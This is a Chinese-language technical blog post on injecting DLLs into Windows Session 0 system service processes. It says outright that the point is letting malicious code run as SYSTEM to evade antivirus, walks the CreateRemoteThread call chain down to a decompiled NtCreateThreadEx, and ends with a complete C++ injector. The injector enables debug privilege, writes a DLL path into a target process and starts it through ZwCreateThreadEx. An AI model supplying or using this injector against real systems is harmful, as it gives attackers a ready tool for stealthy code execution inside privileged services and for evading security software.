Session0注入

什么是Session?

Windows将应用程序根据Windows账户分为了多个Session,比如:Administor打开的进程可能属于Session1,而另一个账户Civilian打开的进程就属于Session2。

系统中还存在一种特殊的Session,那就是Windows服务进程,它属于Session0。在在Windows Vista及以后的操作系统中,服务进程无法再与用户进程有交互式操作,也就是Windows服务里无法打开带有UI界面的程序。因此就存在了Session隔离问题。

1727963178745

为什么要注入Session0?

Session 0 中运行的大多数进程是以 SYSTEM 权限运行的,而普通用户级别的权限(即使是管理员权限)并不能轻易影响或监控 SYSTEM 权限下的进程。

杀软一般不会在系统服务中直接进行杀毒操作,或者对 SYSTEM 权限进程进行强制结束,因为这样做有可能导致系统不稳定或崩溃。因此,如果恶意代码能够成功注入到 Session 0,它可以依托 SYSTEM 权限来规避杀软的检测和干预。

如何注入Session 0的系统进程?

利用ZwCreateThreadEx注入

ZwCreateThreadEx 函数可以跨会话创建线程,是因为它直接调用了 Windows 内核中的低级系统服务,绕过了一些常规 API 的用户模式限制。

ZwCreateThreadEx 属于 Windows Native API,是直接调用 Windows 内核提供的API

跨会话的线程创建通常涉及到 Windows 的会话隔离机制。每个会话都有独立的桌面和内存空间,并且默认情况下,不同会话之间无法相互访问。但 内核模式代码内核模式调用 是例外的,它们在内核层面上拥有全局的权限,可以访问任何进程、会话的内存和执行上下文。

分析CreateRemoteThread

kernel32.dll 现在主要是一个兼容性外壳,它提供的许多 API 的实现已经迁移到了 kernelbase.dll

这是CreateRemoteThread的实现

1727964532559

跟进CreateRemoteThreadEx发现NtCreateThreadEx

1727964600495

发现来自ntdll,然后去ntdll看一下

1727964655152

发现NtCreateThreadEx长这样,syscall进内核

1727964743796

分析CreateRemoteThread

1727965765255

结果发现也是调用CreateRemoteThreadEx,但是也只是第一个参数变成了-1(其实也就是GetCurrentProcess的返回值)

其他是不变的,也就是调用了同样的内核函数NtCreateThread

冷静分析一波

以下是CreateRemoteThread函数的调用流程图

  1. 应用程序调用 CreateRemoteThread,这是一个由 kernel32.dll 提供的 Win32 API,用于在另一个进程的地址空间中创建新线程。
  2. CreateRemoteThread 内部调用 CreateRemoteThreadEx,这是一个由 KernelBase.dll 提供的更底层的 API,提供了更多的选项,比如可以指定安全描述符,可以控制新线程是否立即开始运行等
  3. CreateRemoteThreadEx 内部调用 NtCreateThreadEx,这是由 ntdll.dll 提供的 Native API,也是用户空间可以直接调用的最底层的 API。
  4. NtCreateThreadEx 函数设置好系统调用的参数后,执行 syscall 指令,切换到内核模式。
  5. 在内核模式下,根据 syscall 提供的系统调用编号,在 SSDT 表中查找对应的内核函数。
  6. 执行 SSDT 表中找到的函数,完成线程的创建。

1727966178563

众所周知,零环和三环是分开的,在x64 微软更是让三环和零环的关系撇得尽量远,那零环咋分得清哪个是Session0,哪个是Session1嘞?恍然大悟,那必然是看传进去的参数啊

分析NtCreateThreadEx

有大佬分析了NtCreateThreadEx这个API,直接拿来用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
__int64 __fastcall NtCreateThreadEx(PHANDLE a_hThread, ACCESS_MASK
a_DesiredAccess, LPVOID a_pObjectAttributes, HANDLE a_hProcess, LPVOID
a_lpStartAddress, LPVOID a_lpParameter, DWORD a_dwCreateSuspended, __int64
a_StackZeroBits, __int64 a_SizeOfStackCommit, __int64 a_SizeOfStackReserve,
__int64 a_AttributeList)
{
__int64 v_PreviousMode; // rdx
__int64 NtRet; // rax
__int64 v_XStateCompactionMask; // rdi
unsigned int v_ContextFlags; // er14
unsigned __int64 v17; // rax
void* v18; // rsp
__int64 v19; // r10
unsigned int NtRet2; // ebx
__int64 v_hThread; // rcx
unsigned int v_Context; // [rsp+70h] [rbp+0h] BYREF
int v_DesiredAccess; // [rsp+74h] [rbp+4h]
PVOID Object; // [rsp+78h] [rbp+8h] BYREF
__int64 v_pContextEx; // [rsp+80h] [rbp+10h] BYREF
LPVOID v_lpParameter; // [rsp+88h] [rbp+18h]
LPVOID v_pObjectAttributes; // [rsp+90h] [rbp+20h]
char v28[80]; // [rsp+A0h] [rbp+30h] BYREF
__int64 v_pCreateProcessContext[66]; // [rsp+F0h] [rbp+80h] BYREF
char v30; // [rsp+300h] [rbp+290h] BYREF
int v31; // [rsp+301h] [rbp+291h]
__int16 v32; // [rsp+305h] [rbp+295h]
char v33; // [rsp+307h] [rbp+297h]
__int64 v34; // [rsp+308h] [rbp+298h]
__int64 v35; // [rsp+310h] [rbp+2A0h]
__int64 v36; // [rsp+318h] [rbp+2A8h]
v_pObjectAttributes = a_pObjectAttributes;
v_DesiredAccess = a_DesiredAccess;
v_lpParameter = a_lpParameter;
memset(v28, 0, 0x48ui64);
Object = 0i64;
v31 = 0;
v32 = 0;
v33 = 0;
v_pContextEx = 0i64;
v_Context = 0;
if ((a_dwCreateSuspended & 0xFFFFFF80) != 0)// 检查参数是否有效
return 0xC00000F5i64;
if (KeGetCurrentThread()->PreviousMode) // 通过PreviousMode值修正线程句柄
{
v_hThread = (__int64)a_hThread;
if ((unsigned __int64)a_hThread >= 0x7FFFFFFF0000i64)
v_hThread = 0x7FFFFFFF0000i64;
*(_QWORD*)v_hThread = *(_QWORD*)v_hThread; //这句不是废话,条件赋值
}
v30 = 0;
v35 = a_SizeOfStackCommit;
v36 = a_SizeOfStackReserve;
v34 = a_StackZeroBits;
memset(v_pCreateProcessContext, 0, 0x208ui64);
if (!a_AttributeList
|| (LOBYTE(v_PreviousMode) = KeGetCurrentThread()->PreviousMode,
NtRet = PspBuildCreateProcessContext(
a_AttributeList,
v_PreviousMode,
1i64,
v_pCreateProcessContext), // 创建CreateProcessContext结构体
(int)NtRet >= 0))
{
NtRet = ObpReferenceObjectByHandleWithTag((ULONG_PTR)a_hProcess,1917023056u, (__int64)&Object, 0i64, 0i64);// 通过带标记的句柄获取引用的对象
if ((int)NtRet >= 0)
{
v_XStateCompactionMask = (*((_DWORD*)Object + 0x275) & 0x4000) != 0 ?0x800 : 0;// 获取所需的标志
v_ContextFlags = (*((_DWORD*)Object + 0x275) & 0x4000) != 0 ? 0x10004B :0x10000B;
ObfDereferenceObjectWithTag(Object, 1917023056u);// 通过tag标志引用对象,增加引用计数
RtlGetExtendedContextLength2(v_ContextFlags, &v_Context, (unsigned int)v_XStateCompactionMask);// v_Context 是Context的大小
v17 = v_Context + 15i64;
if (v17 <= v_Context)
v17 = 0xFFFFFFFFFFFFFF0i64;
v18 = alloca(v17 & 0xFFFFFFFFFFFFFFF0ui64);
memset(&v_Context, 0, v_Context);
RtlInitializeExtendedContext2(&v_Context, v_ContextFlags, &v_pContextEx,v_XStateCompactionMask);
PspCreateUserContext( // 为线程执行的目标函数分配上下文环境
(unsigned int)&v_Context,
1,
PspUserThreadStart,
(_DWORD)a_lpStartAddress,
(__int64)v_lpParameter);
NtRet2 = PspCreateThread( // 调用PspCreateThread创建线程 创建重要部分
a_hThread,
v_DesiredAccess,
(__int64)v_pObjectAttributes,
(ULONG_PTR)a_hProcess,
0i64,
(__int64)v_pCreateProcessContext,
v_pCreateProcessContext[2],
(__int64)&v_Context,
(__int64)v28,
a_dwCreateSuspended,
(__int64)a_lpStartAddress,
v19,
(__int64)&v30);
PspDeleteCreateProcessContext((__int64)v_pCreateProcessContext);// 释放
CreateProcessContext结构体
NtRet = NtRet2;
}
}
return NtRet;
}

NtCreateThreadEx 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,

CreateRemoteThread 注入系统进程会失败的原因是因为调用 NtCreateThreadEx 创建远程线程时,

七个参数 CreateThreadFlags 为1

使用 CreateRemoteThread 注入失败DLL失败的关键在第七个参数 CreateThreadFlags , 他会导致线

程创建完成后一直挂起无法恢复进程运行,导致注入失败

做一个Session0注入器

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
BOOL ZwCreateThreadExInject(DWORD PID, const char* pszDllFileName)
{
EnableDebugPrivilege();
HANDLE hRemoteThread;
DWORD dwStatus = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess error : %d\n", GetLastError());
return -1;
}
SIZE_T dwSize = lstrlen(pszDllFileName) + 1;
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT,
PAGE_READWRITE);
if (NULL == pDllAddr)
{
printf("VirtualAllocEx error\n");
return -1;
}
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize,
NULL))
{
printf("WriteProcessMemory error\n");
return -1;
}
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
printf("Load ntdll.dll error\n");
return -1;
}
FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryA");
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx =
(typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error\n");
return -1;
}
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,
hProcess,
(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
printf("ZwCreateThreadEx error\n");
return -1;
}
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
//DWORD dwPid;
//sscanf(argv[1], "%d", &dwPid);
BOOL bRet = ZwCreateThreadExInject((DWORD)_tstol(argv[1]), argv[2]);
//BOOL bRet = ZwCreateThreadExInject(dwPid, argv[2]);
if (-1 == bRet)
{
printf("Inject dll failed\n");
}
else
{
printf("Inject dll successfully\n");
}
}
else
{
printf("\n");
printf("Usage: %s PID <DllPath>\n", argv[0]);
printf("Example: %s 520 C:\\test.dll\n", argv[0]);
exit(1);
}
}

效果展示:

1727969322728

1727969310012